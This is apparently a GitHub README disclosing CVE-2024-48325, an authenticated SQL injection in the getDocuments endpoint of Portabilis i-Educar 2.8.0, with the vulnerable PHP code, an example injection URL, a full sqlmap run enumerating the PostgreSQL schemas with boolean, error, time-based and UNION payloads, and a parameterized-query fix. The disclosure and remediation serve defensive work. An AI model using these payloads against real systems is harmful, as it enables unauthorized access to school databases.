About

No description, website, or topics provided.

Readme

Activity

0 forks

Report repository

Releases

No releases published

Packages

No packages published

osvaldotenorio Atualizar o README.md 096ffef · 3 days ago

README.md Atualizar o README.md 3 days ago

README

CVE-2024-48325

> **Description:** An authenticated user can abuse SQL injection vulnerability exists in the `getDocuments` function of the `InstituicaoDocumentacaoController` class. The `instituicao_id` parameter in `/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id` is not properly sanitized, allowing an authenticated remote attacker to inject malicious SQL commands.

> **Versions:** Discovered in Portabilis i-Educar 2.8.0.

Proof of Concept

Vulnerability Details

The issue is present in the getDocuments function of the InstituicaoDocumentacaoController class, which can be triggered through the following endpoint:

```
class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }

    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}
```

How the Vulnerability Occurs

The `instituicao_id` parameter is used directly in SQL queries without proper sanitization or parameterization. This allows attackers to send malicious HTTP requests to inject SQL commands, potentially gaining unauthorized access to the database or manipulating data.

- Example endpoint that triggers the vulnerability: `/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14`

- Example Exploit: `/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1`

Server Response:


```
{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE institui
            "type": "error"
        }
    ],
    "any_error_msg": true
}
```


Automated Exploitation

- This vulnerability can also be exploited by automated tools like SQLMap, allowing database enumeration: `sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5`

SQLMap

```
┌──(root㉿mithrandir)-[/home/kali/cve/i-educar]
└─# sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.8#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
[*] starting @ 18:35:00 /2024-09-18/
[18:35:00] [INFO] parsing HTTP request from '../instituicaoDocumentacao.r'
[18:35:00] [INFO] testing connection to the target URL
[18:35:00] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header
[18:35:02] [INFO] target URL content is stable
[18:35:02] [WARNING] heuristic (basic) test shows that GET parameter 'instituicao_id' might not be injectable
[18:35:03] [INFO] testing for SQL injection on GET parameter 'instituicao_id'
[18:35:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:35:03] [WARNING] reflective value(s) found and filtering out
[18:35:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[18:36:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[18:36:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[18:36:44] [INFO] GET parameter 'instituicao_id' appears to be 'AND boolean-based blind - WHERE or HAVING clause
[18:36:44] [INFO] testing 'Generic inline queries'
[18:36:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:36:45] [INFO] GET parameter 'instituicao_id' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injecta
[18:36:45] [INFO] testing 'PostgreSQL inline queries'
[18:36:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[18:36:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:36:46] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
[18:36:47] [INFO] testing 'PostgreSQL stacked queries (heavy query)'
[18:36:48] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[18:36:49] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'
[18:36:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:37:03] [INFO] GET parameter 'instituicao_id' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[18:37:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:37:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least o
[18:37:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right
[18:37:05] [INFO] target URL appears to have 6 columns in query
[18:37:06] [INFO] GET parameter 'instituicao_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'instituicao_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 357 HTTP(s) requests:
---
Parameter: instituicao_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: oper=get&resource=getDocuments&instituicao_id=1 AND 3719=(SELECT (CASE WHEN (3719=3719) THEN 3719 EL
    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: oper=get&resource=getDocuments&instituicao_id=1 AND 7438=CAST((CHR(113)||CHR(112)||CHR(122)||CHR(106
```

```
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: oper=get&resource=getDocuments&instituicao_id=1 AND 8710=(SELECT 8710 FROM PG_SLEEP(5))
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: oper=get&resource=getDocuments&instituicao_id=1 UNION ALL SELECT NULL,NULL,NULL,(CHR(113)||CHR(112)|
---
[18:38:27] [INFO] the back-end DBMS is PostgreSQL
[18:38:27] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web application technology: Nginx 1.26.2, PHP 8.3.11
back-end DBMS: PostgreSQL
[18:38:29] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to databa
[18:38:29] [INFO] fetching database (schema) names
[18:38:30] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved
[18:38:31] [WARNING] the SQL query provided does not return any output
[18:38:31] [INFO] retrieved: 'public'
[18:38:31] [INFO] retrieved: 'pg_catalog'
[18:38:32] [INFO] retrieved: 'cadastro'
[18:38:32] [INFO] retrieved: 'pmieducar'
[18:38:33] [INFO] retrieved: 'modules'
[18:38:33] [INFO] retrieved: 'portal'
[18:38:33] [INFO] retrieved: 'information_schema'
[18:38:34] [INFO] retrieved: 'relatorio'
available databases [8]:
[*] cadastro
[*] information_schema
[*] modules
[*] pg_catalog
[*] pmieducar
[*] portal
[*] public
[*] relatorio
[18:39:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'
[*] ending @ 18:39:48 /2024-09-18/
```

Suggested solution:

- To fix this issue, sanitize all parameters where users can input values. In this specific case, parameterized queries help mitigate SQL injection risks:

```php
$sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = :instituicao_id ORDER BY id DESC";
$params = [':instituicao_id' => $this->getRequest()->instituicao_id];
$instituicao = $this->fetchPreparedQuery($sql, $params);
```

- Or alternatively:

```php
$sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = :instituicao_id ORDER BY id DESC";
$stmt = $this->db->prepare($sql);
$instituicao_id = $this->getRequest()->instituicao_id;
$stmt->bindParam(':instituicao_id', $instituicao_id, PDO::PARAM_INT);
$stmt->execute();
$instituicao = $stmt->fetchAll(PDO::FETCH_ASSOC);
```